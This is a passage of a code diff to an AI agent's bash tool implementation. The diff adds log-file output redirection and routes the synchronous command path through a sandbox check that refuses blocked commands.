+ nextCwd: ctx.lastBashCwd ?? ctx.root,
1263
+ truncated: false,
1264
+ timedOut: false,
1265
+ cancelled: true,
610
1266
  };
611
1267
  }
612
- const startCwd = resolveStartCwd(input.cwd ?? ctx.lastBashCwd, ctx.root, additionalDirectories);
613
1268
  const timeoutMs = sanitizeTimeout(input.timeoutMs);
614
1269
  const childEnv = buildChildEnv();
615
- const result = spawnSync('/bin/sh', ['-c', cmd], {
1270
+ // Pugi backlog P2 redirect path for the sync entry. The
1271
+ // engine loop's tool-bridge dispatches through `bashToolSync`, so
1272
+ // the redirect contract has to be honoured here too — otherwise a
1273
+ // model that asks for log discipline through the bash tool surface
1274
+ // would get its stdout buffered + truncated through the legacy
1275
+ // pipeline. `spawnSync` accepts file descriptors in `stdio` so we
1276
+ // can hand the log fd in directly, same as the async path.
1277
+ let redirectState = null;
1278
+ if (input.redirect !== undefined) {
1279
+ try {
1280
+ const target = resolveRedirectTarget({
1281
+ workspaceRoot: ctx.root,
1282
+ sessionId: ctx.session.id,
1283
+ toolCallId,
1284
+ command: cmd,
1285
+ override: input.redirect.path,
1286
+ });
1287
+ const { fd, tempPath } = openRedirectFile(target);
1288
+ redirectState = {
1289
+ target,
1290
+ fd,
1291
+ tempPath,
1292
+ tailLines: normalizeTailLines(input.redirect.tailLines),
1293
+ };
1294
+ }
1295
+ catch (error) {
1296
+ const reason = `redirect refused: ${error.message}`;
1297
+ recordToolResult(ctx.session, toolCallId, 'error', reason);
1298
+ return {
1299
+ stdout: '',
1300
+ stderr: reason,
1301
+ exitCode: 126,
1302
+ nextCwd: ctx.lastBashCwd ?? ctx.root,
1303
+ truncated: false,
1304
+ timedOut: false,
1305
+ cancelled: false,
1306
+ };
1307
+ }
1308
+ }
1309
+ const stdioLayout = redirectState !== null
1310
+ ? ['ignore', redirectState.fd, redirectState.fd]
1311
+ : ['ignore', 'pipe', 'pipe'];
1312
+ // Phase 1 #302 — sync path observes the same sandbox gate as the
1313
+ // async path. tool-bridge.ts (the engine-loop sync dispatch) calls
1314
+ // this entry; without the wrap the engine bypasses the sandbox.
1315
+ const sandboxResolution = resolveBashSandbox(cmd, ctx);
1316
+ if (sandboxResolution.kind === 'blocked') {
1317
+ const reason = renderSandboxBlockMessage(sandboxResolution);
1318
+ recordToolResult(ctx.session, toolCallId, 'error', reason);
1319
+ if (redirectState !== null) {
1320
+ try {
1321
+ closeSync(redirectState.fd);
1322
+ }
1323
+ catch { /* already closed */ }
1324
+ }
1325
+ return {
1326
+ stdout: '',
1327
+ stderr: reason,
1328
+ exitCode: 126,
1329
+ nextCwd: ctx.lastBashCwd ?? ctx.root,
1330
+ truncated: false,
1331
+ timedOut: false,
1332
+ cancelled: false,
1333
+ };
1334
+ }
1335
+ const result = spawnSync(sandboxResolution.argv[0], sandboxResolution.argv.slice(1), {
616
1336
  cwd: startCwd,
617
1337
  env: childEnv,
618
1338
  encoding: 'utf8',
619
- stdio: ['ignore', 'pipe', 'pipe'],
1339
+ stdio: stdioLayout,
620
1340
  timeout: timeoutMs,
621
1341
  maxBuffer: 10 * 1024 * 1024,
622
1342
  });
1343
+ const timedOut = result.error?.code === 'ETIMEDOUT' ||
1344
+ result.signal === 'SIGTERM';
1345
+ const nextCwd = computeNextCwd(cmd, startCwd, ctx.root, additionalDirectories, ctx.session);
1346
+ // Redirect short-circuit before the buffered-path artifact logic.
1347
+ // We close our copy of the fd before rename so the inode is no
1348
+ // longer held open by the parent process.
1349
+ if (redirectState !== null) {
1350
+ try {
1351
+ closeSync(redirectState.fd);
1352
+ }
1353
+ catch {
1354
+ // already closed
1355
+ }
1356
+ try {
1357
+ finaliseRedirectFile(redirectState.target, redirectState.tempPath);
1358
+ }
1359
+ catch {
1360
+ // best-effort
1361
+ }
1362
+ const redirectExitCode = timedOut ? 124 : result.status ?? 1;
1363
+ const envelope = applyRedirect({
1364
+ target: redirectState.target,
1365
+ exitCode: redirectExitCode,
1366
+ tailLines: redirectState.tailLines,
1367
+ });
1368
+ if (timedOut) {
1369
+ emitEvent(ctx.session, 'bash.timeout', { cmd, timeoutMs });
1370
+ recordToolResult(ctx.session, toolCallId, 'error', `bash timed out after ${timeoutMs}ms (redirect=${envelope.logPath})`);
1371
+ }
1372
+ else {
1373
+ recordToolResult(ctx.session, toolCallId, 'success', `bash exit=${redirectExitCode} redirect=${envelope.logPath}`);
1374
+ }
1375
+ return {
1376
+ stdout: envelope.stdout,
1377
+ stderr: envelope.stderr,
1378
+ exitCode: redirectExitCode,
1379
+ nextCwd,
1380
+ truncated: envelope.truncated,
1381
+ timedOut,
1382
+ cancelled: false,
1383
+ logPath: envelope.logPath,
1384
+ tail: envelope.tail,
1385
+ };
1386
+ }
623
1387
  const stdoutFull = (result.stdout ?? '').toString();
624
1388
  const stderrFull = (result.stderr ?? '').toString();
625
1389
  const truncated = stdoutFull.length + stderrFull.length > BASH_OUTPUT_CAP_BYTES;
@@ -636,10 +1400,7 @@ export function bashToolSync(input, ctx) {
636
1400
  });
637
1401
  ({ stdout: stdoutOut, stderr: stderrOut } = capToCombined(stdoutFull, stderrFull));
638
1402
  }
639
- const timedOut = result.error?.code === 'ETIMEDOUT' ||
640
- result.signal === 'SIGTERM';
641
1403
  const exitCode = timedOut ? 124 : result.status ?? 1;
642
- const nextCwd = computeNextCwd(cmd, startCwd, ctx.root, additionalDirectories, ctx.session);
643
1404
  if (timedOut) {
644
1405
  emitEvent(ctx.session, 'bash.timeout', { cmd, timeoutMs });
645
1406
  recordToolResult(ctx.session, toolCallId, 'error', `bash timed out after ${timeoutMs}ms`);
@@ -655,6 +1416,7 @@ export function bashToolSync(input, ctx) {
655
1416
  nextCwd,
656
1417
  truncated,
657
1418
  timedOut,
1419
+ cancelled: false,
658
1420
  };
659
1421
  }
660
1422
  //# sourceMappingURL=bash.js.map